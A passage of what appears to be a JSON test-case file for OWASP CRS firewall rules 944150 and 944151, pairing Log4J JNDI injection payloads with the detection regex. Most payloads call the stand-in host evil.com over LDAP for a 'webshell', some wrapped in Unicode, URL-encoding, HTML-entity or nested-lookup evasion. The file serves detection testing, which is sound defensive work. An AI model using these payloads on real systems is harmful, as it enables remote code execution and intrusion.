{ "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with Unicode escape evasion, uppercase" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u007bjndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with Unicode escape evasion, lowercase" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"${jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with named HTML entity evasion, lower case" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$&LBRACE;jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with named HTML entity evasion, upper case" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"${jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with numeric HTML entity evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24%5Cu007Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with Unicode escape evasion, wrapped in URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"\\u002524%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with URL encoding evasion, wrapped in Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24\\u007Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with URL encoding evasion, mixed with Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24%26lbrace%3Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with named HTML entity evasion wrapped in URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%26%2336%3B%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with numeric HTML entity evasion wrapped in URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u0026lbrace;jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u0026#123;jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with numeric HTML entity evasion, wrapped in Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24{\\u006Andi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with named and numeric HTML entity evasion, mixed with unicode escape evasion and URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "${jndi:ldap://evil.om/w}" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on User-Agent header which is known to work against org.apache.commons:commons-text:1.9" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u0026lbracejndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion, omitting terminal semi-colon" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=${jndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on arg foo" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "OWASP CRS test agent ${jndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on User-Agent" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><tag attribute=\"${jndi:ldap://evil.com/webshell}\"/>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit in XML code" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><tag>\"${jndi:ldap://evil.com/webshell}\"</tag>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit in XML code" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=${${env:FOO:-j}ndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=${${::-j}${::-n}${::-d}${::-i}:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=$${env:something:-${env:something:-$}{jndi:ldap://evil.com/webshell}}}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=$\\u007Bjndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on arg foo, with Unicode escape encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u007Bjndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with Unicode escape evasion, uppercase" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u007bjndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with Unicode escape evasion, lowercase" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"${jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 